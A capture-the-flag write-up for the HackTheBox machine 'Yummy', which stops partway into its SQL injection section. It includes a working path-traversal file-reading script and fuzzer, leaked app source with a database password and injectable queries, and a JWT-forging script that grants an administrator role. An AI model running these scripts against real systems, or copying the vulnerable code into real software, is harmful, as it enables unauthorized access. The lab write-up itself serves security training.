# Yummy

## Recon

![nmap\_scan.log|h-50%\_styled](https://github.com/xHacka/xhacka.github.io/blob/gitbook/assets/HackTheBox/Season_6/Yummy/nmap_scan.log%7Ch-50%_styled)

## HTTP (80)

![Writeup.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-5d5bf2cbcf5152d88cb9ee0ac25fa49b9b41e428%2FWriteup.png?alt=media)

### Dashboard

We are able to login/register

> Creds: `test02@yummy.htb:Password123$`

![Writeup-1.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-0545482762eb278b55856f537b05b2abdc4020ba%2FWriteup-1.png?alt=media)

### Booking

We are able to reserve the tables, this adds record in the dashboard.

![Writeup-2.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-ff92c3249597b7a30afc8137ab3362919ac08f65%2FWriteup-2.png?alt=media)

![Writeup-3.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-e2e9304739767a499d7b2084911c2c4b6bec08da%2FWriteup-3.png?alt=media)

### Reminders

```bash
└─$ cat ~/Downloads/Yummy_reservation_20241005_190631.ics
BEGIN:VCALENDAR
VERSION:2.0
PRODID:ics.py - http://git.io/lLljaA
BEGIN:VEVENT
DESCRIPTION:Email: test02@yummy.htb\nNumber of People: 1\nMessage: Yummy!
DTSTART:20241005T000000Z
SUMMARY:Test02
UID:34777079-1a1b-43b3-a8ca-59766abe6b28@3477.org
END:VEVENT
END:VCALENDAR 
```

Fuzzing for reminders shows nothing more then ours.

```bash
└─$ ffuf -H 'Cookie: X-AUTH-Token=eyJhbGciOiJSU...KEq2Co' -u 'http://yummy.htb/reminder/FUZZ' -w reminders -r -mc all
       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://yummy.htb/reminder/FUZZ
 :: Wordlist         : FUZZ: /home/woyag/Desktop/Rooms/Yummy/reminders
 :: Header           : Cookie: X-AUTH-Token=eyJhbGciOiJSU...KEq2Co
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
________________________________________________

14                      [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 84ms]
9                       [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 88ms]
20                      [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 94ms]
1                       [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 97ms]
18                      [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 111ms]
10                      [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 109ms]
12                      [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 105ms]
13                      [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 111ms]
15                      [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 115ms]
6                       [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 117ms]
4                       [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 104ms]
3                       [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 106ms]
7                       [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 113ms]
21                      [Status: 200, Size: 275, Words: 8, Lines: 10, Duration: 116ms]
17                      [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 107ms]
5                       [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 104ms]
11                      [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 116ms]
8                       [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 109ms]
19                      [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 106ms]
2                       [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 102ms]
16                      [Status: 200, Size: 6578, Words: 1352, Lines: 193, Duration: 100ms]
:: Progress: [21/21] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
```

I thought there was injection in reminder via path, but everything is discarded after first number...

```bash
http://yummy.htb/reminder/21 AND 1=1 -- -
http://yummy.htb/reminder/21 AND 1=2 -- -
```

Checking for technologies:

![Writeup-4.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-1a196af672ea5da5a3f5430c790b927799cbb6b4%2FWriteup-4.png?alt=media)

Source code shows template name and version:

```html
  <!-- =======================================================
  * Template Name: Restaurantly - v3.1.0
  * Template URL: https://bootstrapmade.com/restaurantly-restaurant-template/
  * Author: BootstrapMade.com
  * License: https://bootstrapmade.com/license/
  ======================================================== -->
```

Successful booking returns `session` cookie, in flask format? Server language is definitely Golang, so why Python?

![Writeup-5.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-e2e3b4f608d54326a071e2d38a410c631f38e905%2FWriteup-5.png?alt=media)

```bash
└─$ flask-unsign -c '.eJwti0EKwjAQRa_ynbV4AM_hRqTIGCZNqZmpmQQppXc3BVcf3nt_o2d8sydxuj42Qu1D3kIQdzrT3VrBy2yedESRTxOv-LLDResFXSOwIrPyKFiPmpfFJq25B4it1CQFsVj-2xCsHddbYp0PdqJhH_Yf5AUw_w.ZwGW0g.39gWXCFO0oZMaIWq6yDXg4_Pz2I' -d
{'_flashes': [('success', 'Your booking request was sent. You can manage your appointment further from your account. Thank you!')]}
```

### Export

The reminder redirects to `/export/{FILENAME}.ics`, this seems like LFI:

![Writeup-6.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-8cf3d48e80cbaf16b6ea50ded72b00cdb6513185%2FWriteup-6.png?alt=media)

#### LFI

LFI is possible if you're authorized, reminder endpoint is triggered and then `export` is modified

```python
import socket
import requests
import readline

class Routes:
    DOMAIN = 'yummy.htb'
    BASE = 'http://' + DOMAIN
    LOGIN = BASE + '/login'
    REGISTER = BASE + '/register'
    BOOK = BASE + '/book'
    REMINDER = BASE + '/reminder'
    EXPORT = BASE + '/export'

AUTH = {'email': 'test02@yummy.htb', 'password': 'letmein'}
COOKIE_NAME = 'X-AUTH-Token'

with requests.Session() as session:
    session.proxies = {'http': 'http://127.0.0.1:8080'}

    session.post(Routes.REGISTER, json=AUTH)
    session.post(Routes.LOGIN, json=AUTH)

    data = {'name': 'letmein', 'email': AUTH['email'], 'phone': '1111111111', 'date': '2024-10-05', 'time': '16:15', 'people': '1', 'message': '12312'}
    session.post(Routes.BOOK, data=data)

    session.get(f'{Routes.REMINDER}/21', allow_redirects=False) # Reminder number is hardcoded...

    cookie = session.cookies[COOKIE_NAME]

# file = '/etc/passwd'
file = input("File: ")

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as io:
    io.connect((Routes.DOMAIN, 80))

    request = f"GET {Routes.EXPORT}/../../../../../..{file} HTTP/1.1\r\n"
    request += f"Host: {Routes.DOMAIN}\r\n"
    request += f"Cookie: {COOKIE_NAME}={cookie}\r\n"
    request += "Connection: close\r\n\r\n"
    io.send(request.encode())

    response = b""
    while True:
        data = io.recv(4096)
        if not data: break
        response += data

    print(response.decode())
```

```bash
└─$ py lfi.py
File: /etc/caddy/Caddyfile
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Disposition: attachment; filename=Caddyfile
Content-Length: 178
Content-Type: application/octet-stream
Date: Sat, 05 Oct 2024 20:49:44 GMT
Etag: "1715978794.806761-178-3015512135"
Last-Modified: Fri, 17 May 2024 20:46:34 GMT
Server: Caddy
Connection: close

:80 {
    @ip {
        header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
    }
    redir @ip http://yummy.htb{uri}
    reverse_proxy 127.0.0.1:3000 {
	    header_down -Server  
    }
}
```

#### LFI Fuzzing

Start fuzzing for files, lmao

```python
import socket
import requests
import readline

class Routes:
    DOMAIN = 'yummy.htb'
    BASE = 'http://' + DOMAIN
    LOGIN = BASE + '/login'
    REGISTER = BASE + '/register'
    BOOK = BASE + '/book'
    REMINDER = BASE + '/reminder'
    EXPORT = BASE + '/export'

AUTH = {'email': 'test02@yummy.htb', 'password': 'letmein'}
COOKIE_NAME = 'X-AUTH-Token'

with requests.Session() as session:
    session.proxies = {'http': 'http://127.0.0.1:8080'}

    session.post(Routes.REGISTER, json=AUTH)
    session.post(Routes.LOGIN, json=AUTH)

    data = {'name': 'letmein', 'email': AUTH['email'], 'phone': '1111111111', 'date': '2024-10-05', 'time': '16:15', 'people': '1', 'message': '12312'}
    session.post(Routes.BOOK, data=data)
    cookie = session.cookies[COOKIE_NAME]

    with open('/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt') as f:
        for line in f:
            print(line.strip())
            session.get(f'{Routes.REMINDER}/22', allow_redirects=False)
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as io:
                io.connect((Routes.DOMAIN, 80))

                request = f"GET {Routes.EXPORT}/../../../../../..{line.strip()} HTTP/1.1\r\n"
                request += f"Host: {Routes.DOMAIN}\r\n"
                request += f"Cookie: {COOKIE_NAME}={cookie}\r\n"
                request += "Connection: close\r\n\r\n"

                io.send(request.encode())

                response = b""
                while True:
                    data = io.recv(4096)
                    if not data: break
                    response += data

                print(response.decode())
```

> **Note**: Consider [The Path for Testing Path Traversal Vulnerabilities with Python](https://mazinahmed.net/blog/testing-for-path-traversal-with-python/) methods, instead of raw sockets.

### Cronjobs

```bash
/etc/crontab
...
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
```

`/data/scripts/dbmonitor.sh`

```bash
#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
```

`/data/scripts/table_cleanup.sh`

```bash
#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
```

`/data/scripts/app_backup.sh`

```bash
#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
```

`file = '/opt/app/app.py'`

```python
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib

app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS
}

access_token = ''

@app.route('/login', methods=['GET','POST'])
def login():
    global access_token
    if request.method == 'GET':
        return render_template('login.html', message=None)
    elif request.method == 'POST':
        email = request.json.get('email')
        password = request.json.get('password')
        password2 = hashlib.sha256(password.encode()).hexdigest()
        if not email or not password:
            return jsonify(message="email or password is missing"), 400

        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT * FROM users WHERE email=%s AND password=%s"
                cursor.execute(sql, (email, password2))
                user = cursor.fetchone()
                if user:
                    payload = {
                        'email': email,
                        'role': user['role_id'],
                        'iat': datetime.now(timezone.utc),
                        'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
                        'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
                    }
                    access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')

                    response = make_response(jsonify(access_token=access_token), 200)
                    response.set_cookie('X-AUTH-Token', access_token)
                    return response
                else:
                    return jsonify(message="Invalid email or password"), 401
        finally:
            connection.close()

@app.route('/logout', methods=['GET'])
def logout():
    response = make_response(redirect('/login'))
    response.set_cookie('X-AUTH-Token', '')
    return response

@app.route('/register', methods=['GET', 'POST'])
def register():
        if request.method == 'GET':
            return render_template('register.html', message=None)
        elif request.method == 'POST':
            role_id = 'customer_' + secrets.token_hex(4)
            email = request.json.get('email')
            password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
            if not email or not password:
                return jsonify(error="email or password is missing"), 400
            connection = pymysql.connect(**db_config)
            try:
                with connection.cursor() as cursor:
                    sql = "SELECT * FROM users WHERE email=%s"
                    cursor.execute(sql, (email,))
                    existing_user = cursor.fetchone()
                    if existing_user:
                        return jsonify(error="Email already exists"), 400
                    else:
                        sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
                        cursor.execute(sql, (email, password, role_id))
                        connection.commit()
                        return jsonify(message="User registered successfully"), 201
            finally:
                connection.close()


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/book', methods=['GET', 'POST'])
def export():
    if request.method == 'POST':
        try:
            name = request.form['name']
            date = request.form['date']
            time = request.form['time']
            email = request.form['email']
            num_people = request.form['people']
            message = request.form['message']

            connection = pymysql.connect(**db_config)
            try:
                with connection.cursor() as cursor:
                    sql = "INSERT INTO appointments (appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES (%s, %s, %s, %s, %s, %s, %s)"
                    cursor.execute(sql, (name, email, date, time, num_people, message, 'customer'))
                    connection.commit()
                    flash('Your booking request was sent. You can manage your appointment further from your account. Thank you!', 'success')  
            except Exception as e:
                print(e)
            return redirect('/#book-a-table')
        except ValueError:
            flash('Error processing your request. Please try again.', 'error')
    return render_template('index.html')


def generate_ics_file(name, date, time, email, num_people, message):
    global temp_dir
    temp_dir = tempfile.mkdtemp()
    current_date_time = datetime.now()
    formatted_date_time = current_date_time.strftime("%Y%m%d_%H%M%S")

    cal = Calendar()
    event = Event()
    
    event.name = name
    event.begin = datetime.strptime(date, "%Y-%m-%d")
    event.description = f"Email: {email}\nNumber of People: {num_people}\nMessage: {message}"
    
    cal.events.add(event)

    temp_file_path = os.path.join(temp_dir, quote('Yummy_reservation_' + formatted_date_time + '.ics'))
    with open(temp_file_path, 'w') as fp:
        fp.write(cal.serialize())

    return os.path.basename(temp_file_path)

@app.route('/export/<path:filename>')
def export_file(filename):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))
    filepath = os.path.join(temp_dir, filename)
    if os.path.exists(filepath):
        content = send_file(filepath, as_attachment=True)
        shutil.rmtree(temp_dir)
        return content
    else:
        shutil.rmtree(temp_dir)
        return "File not found", 404

def validate_login():
    try:
        (email, current_role), status_code = verify_token()
        if email and status_code == 200 and current_role == "administrator":
            return current_role
        elif email and status_code == 200:
            return email
        else:
            raise Exception("Invalid token")
    except Exception as e:
        return None


@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
        validation = validate_login()
        if validation is None:
            return redirect(url_for('login'))
        elif validation == "administrator":
            return redirect(url_for('admindashboard'))
 
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
                appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])

        finally:
            connection.close()

        return render_template('dashboard.html', appointments=appointments_sorted)

@app.route('/delete/<appointID>')
def delete_file(appointID):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))
    elif validation == "administrator":
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "DELETE FROM appointments where appointment_id= %s;"
                cursor.execute(sql, (appointID,))
                connection.commit()

                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()
        finally:
            connection.close()
            flash("Reservation deleted successfully","success")
            return redirect(url_for("admindashboard"))
    else:
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "DELETE FROM appointments WHERE appointment_id = %s AND appointment_email = %s;"
                cursor.execute(sql, (appointID, validation))
                connection.commit()

                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
        finally:
            connection.close()
            flash("Reservation deleted successfully","success")
            return redirect(url_for("dashboard"))
        flash("Something went wrong!","error")
        return redirect(url_for("dashboard"))

@app.route('/reminder/<appointID>')
def reminder_file(appointID):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))

    connection = pymysql.connect(**db_config)
    try:
        with connection.cursor() as cursor:
            sql = "SELECT appointment_id, appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s AND appointment_id = %s"
            result = cursor.execute(sql, (validation, appointID))
            if result != 0:
                connection.commit()
                appointments = cursor.fetchone()
                filename = generate_ics_file(appointments['appointment_name'], appointments['appointment_date'], appointments['appointment_time'], appointments['appointment_email'], appointments['appointment_people'], appointments['appointment_message'])
                connection.close()
                flash("Reservation downloaded successfully","success")
                return redirect(url_for('export_file', filename=filename))
            else:
                flash("Something went wrong!","error")
    except:
        flash("Something went wrong!","error")
        
    return redirect(url_for("dashboard"))

@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
        validation = validate_login()
        if validation != "administrator":
            return redirect(url_for('login'))
 
        try:
            connection = pymysql.connect(**db_config)
            with connection.cursor() as cursor:
                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()

                search_query = request.args.get('s', '')

                # added option to order the reservations
                order_query = request.args.get('o', '')

                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
                cursor.execute(sql, ('%' + search_query + '%',))
                connection.commit()
                appointments = cursor.fetchall()
            connection.close()
            
            return render_template('admindashboard.html', appointments=appointments)
        except Exception as e:
            flash(str(e), 'error')
            return render_template('admindashboard.html', appointments=appointments)

if __name__ == '__main__':
    app.run(threaded=True, debug=False, host='0.0.0.0', port=3000)
```

Backup exists in `/var/www/backupapp.zip`, and I didn't want to code saving file from socket output. Just use burp to first create Reminder, then change path and you'll download file automatically.

### Forge JWT

Backup > `./config/signature.py`

```python
#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()
```

I had errors installing packages so I just used <https://live.sympy.org>

Add the following lines to get keys:

```python
private_key_pem = private_key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption())
public_key_pem = public_key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)

print(f'{n = }')

print("Private Key:")
print(private_key_pem.decode()) 

print("\nPublic Key:")
print(public_key_pem.decode()) 
```

```bash
n = 102507644025377230149306591416777170686099201918371413793432064047208377880446924587192756087064088626348370040685026208091237194345628638929497852912653002470676660628880739880664606531733150375828328921677371420159959119531086492552139154289678920224913011194569236584255297461657480474182307108472322143170159129
Private Key:
-----BEGIN RSA PRIVATE KEY-----
MIICqAIBAAKBgwizabKSUFeI+cRs9wn3HKCZPP7lLTgaeMBsG+Y1AX/J89ZCQrC2
I2mG/wIFdaEi6G5gDOLgA1wHdJIithOtqeDBsVmpVs6gPS4N02avcxwlaQv3kj2B
gEHJgRvKQqvtSmy2WYdypgvxMwgsDbZ0T08uHS/1dccQU/HRGg6cQnk5RWIZAgMB
AAECgYMH1De0Vtp26N2gJt/dNkZdf2YLPAgEfKyE0KGOYlizdjQU6fGucQgEOCLQ
Aga3rRHfYteLMpSLYBeb1/0eQpsTiG8PgGGfuzY4TthJ1oB61n1Mx3eklzWMiOXG
9wWs6/nW+8Jd9waj8NQZm7/DOASdfJMGFl4ymt6hMEelBlR3/5wdKQKBgQCPZ80p
LsffuIuIhxouDY7gYFbmqOAv4/EMGydYtJ8yPWeLmZJBNuEa6zNpA63rKfjxUDU9
bf1wryLJsm7fNGAyQSvzTixfdffmHPw1Ja3MCQ5Ej5m/41m1YL/WR/Uf8cZWf8y/
niBLH2FI/OJmUEJ1OsC+6AlLEVbPiqveFhtkcwIDD4hDAoGAICRS3pUmpWU2mQ42
9vWA/Zd6Qs69GN7NKzp20jIBsIAE0kxEdKt5PtBSwInblGbe7i9dD3y0nmoSsQR2
Rz71BK6IzErMNUU6n/AFM2BTmPS6pvFMs66gb7/Un5GXRmapXr/cQ2KMuGm7I2HS
2L3Kd34Ir4FQe+vR+kiJhwiLcTMCAwxqiwKBgDcEg1BF3YawbGZR0c6T/rgyzQRY
nTx7OLVucLzPCcVjm+SljYcVHQQmE3FRuq+6w/xPzjulWV7xunQFxU9z5DrfRpz0
XaC4Jaul+0H+TAFF6auME1idUUGXUVTBd2PnuUqBp+4K3QlhNPfFVNPenDrgTiQ2
DQbp9j7m/X/Mxona
-----END RSA PRIVATE KEY-----


Public Key:
-----BEGIN PUBLIC KEY-----
MIGhMA0GCSqGSIb3DQEBAQUAA4GPADCBiwKBgwizabKSUFeI+cRs9wn3HKCZPP7l
LTgaeMBsG+Y1AX/J89ZCQrC2I2mG/wIFdaEi6G5gDOLgA1wHdJIithOtqeDBsVmp
Vs6gPS4N02avcxwlaQv3kj2BgEHJgRvKQqvtSmy2WYdypgvxMwgsDbZ0T08uHS/1
dccQU/HRGg6cQnk5RWIZAgMBAAE=
-----END PUBLIC KEY-----
```

Actually that's garbage, because we need proper `p` and `q` values to create `n`, [https://factordb.com/](https://factordb.com/index.php?query=159487049251763057395467266132885496093542532599460738866825570023353802203039189621960046669532522711887617654327886229985591347815457944837656441749582066186123406168573382511112551364641644034674308203255466275465590292749699862211135871085671577534034980324971965889704644640695670958140677893617360798140433863) can help.

```bash
q = 154495754898264815985426104959944566968491478406579378873557546372691265488889632272143893889639925634416523044334569299622681380457032592860124402672443436096164615921981912852584116318732357752756019481855171257644857869557893012651406869357343869153299338593046415349023734839244208319948114169154486793309
p = 1032307
n = 159487049251763057395467266132885496093542532599460738866825570023353802203039189621960046669532522711887617654327886229985591347815457944837656441749582066186123406168573382511112551364641644034674308203255466275465590292749699862211135871085671577534034980324971965889704644640695670958140677893617360798140433863
e = 65537
```

`jwt_tool` kept giving errors about invalid certificates... Generate manually:

```python
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization 

token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3QwMkB5dW1teS5odGIiLCJyb2xlIjoiY3VzdG9tZXJfZDczMTE0NDYiLCJpYXQiOjE3MjgxNjg0NTYsImV4cCI6MTcyODE3MjA1NiwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNTk0ODcwNDkyNTE3NjMwNTczOTU0NjcyNjYxMzI4ODU0OTYwOTM1NDI1MzI1OTk0NjA3Mzg4NjY4MjU1NzAwMjMzNTM4MDIyMDMwMzkxODk2MjE5NjAwNDY2Njk1MzI1MjI3MTE4ODc2MTc2NTQzMjc4ODYyMjk5ODU1OTEzNDc4MTU0NTc5NDQ4Mzc2NTY0NDE3NDk1ODIwNjYxODYxMjM0MDYxNjg1NzMzODI1MTExMTI1NTEzNjQ2NDE2NDQwMzQ2NzQzMDgyMDMyNTU0NjYyNzU0NjU1OTAyOTI3NDk2OTk4NjIyMTExMzU4NzEwODU2NzE1Nzc1MzQwMzQ5ODAzMjQ5NzE5NjU4ODk3MDQ2NDQ2NDA2OTU2NzA5NTgxNDA2Nzc4OTM2MTczNjA3OTgxNDA0MzM4NjMiLCJlIjo2NTUzN319.C5FesrgLfo18Djy5WXs9I2HTgXQEndbEpNXYvv8rHLKpo2rccXSRIilm8Gmy6O3hpmJoQHk6AptkhZr_cVxO05LlZ4VAyvV_Cs8ZBnQywZ3O-mMGHD382NrhoYhoof177XbHpqsEGH4dfjUDBPN6S0p7wtFhjDKOWOFYwxzGTRFB9kQ"

q = 1032307
n = 159487049251763057395467266132885496093542532599460738866825570023353802203039189621960046669532522711887617654327886229985591347815457944837656441749582066186123406168573382511112551364641644034674308203255466275465590292749699862211135871085671577534034980324971965889704644640695670958140677893617360798140433863
e = 65537
p = 154495754898264815985426104959944566968491478406579378873557546372691265488889632272143893889639925634416523044334569299622681380457032592860124402672443436096164615921981912852584116318732357752756019481855171257644857869557893012651406869357343869153299338593046415349023734839244208319948114169154486793309
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(private_key_bytes, password=None, backend=default_backend())
public_key = private_key.public_key()

data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"

admin_token = jwt.encode(data, private_key, algorithm="RS256")
print(admin_token)
```

```bash
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3QwMkB5dW1teS5odGIiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODE2ODQ1NiwiZXhwIjoxNzI4MTcyMDU2LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjE1OTQ4NzA0OTI1MTc2MzA1NzM5NTQ2NzI2NjEzMjg4NTQ5NjA5MzU0MjUzMjU5OTQ2MDczODg2NjgyNTU3MDAyMzM1MzgwMjIwMzAzOTE4OTYyMTk2MDA0NjY2OTUzMjUyMjcxMTg4NzYxNzY1NDMyNzg4NjIyOTk4NTU5MTM0NzgxNTQ1Nzk0NDgzNzY1NjQ0MTc0OTU4MjA2NjE4NjEyMzQwNjE2ODU3MzM4MjUxMTExMjU1MTM2NDY0MTY0NDAzNDY3NDMwODIwMzI1NTQ2NjI3NTQ2NTU5MDI5Mjc0OTY5OTg2MjIxMTEzNTg3MTA4NTY3MTU3NzUzNDAzNDk4MDMyNDk3MTk2NTg4OTcwNDY0NDY0MDY5NTY3MDk1ODE0MDY3Nzg5MzYxNzM2MDc5ODE0MDQzMzg2MyIsImUiOjY1NTM3fX0.COO5nNCiOdu-gtDB6P99QZtTe6Xg8eX-ohL9WCaDwg7Y2vtZwXlj5xjcaC_o1WfdscDVFkkp_VZa36tJV7buxyKCVeWZqgwLg2t3IzQbVJVNBVNK10vpSWC9hS4c8SL9DZFPmkG5CdXArMofRCz6YfJo3iAfUyUP7ApN5h9DBP3GFhs
```

Replace your cookie, visit `/dashboard`, get redirected to `/admindashboard`.

![Writeup-7.png](https://1851336151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDpkievH4dLdiyHIEAK5Y%2Fuploads%2Fgit-blob-a532b6eb7fef647fce168970a6898fbc21811223%2FWriteup-7.png?alt=media)

### SQLi

Endpoint is vulnerable to SQLi:

```python
@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
        validation = validate_login()
        if validation != "administrator":
            return redirect(url_for('login'))
 
        try:
            connection = pymysql.connect(**db_config)
            with connection.cursor() as cursor:
                sql = "SELECT * from appointments"
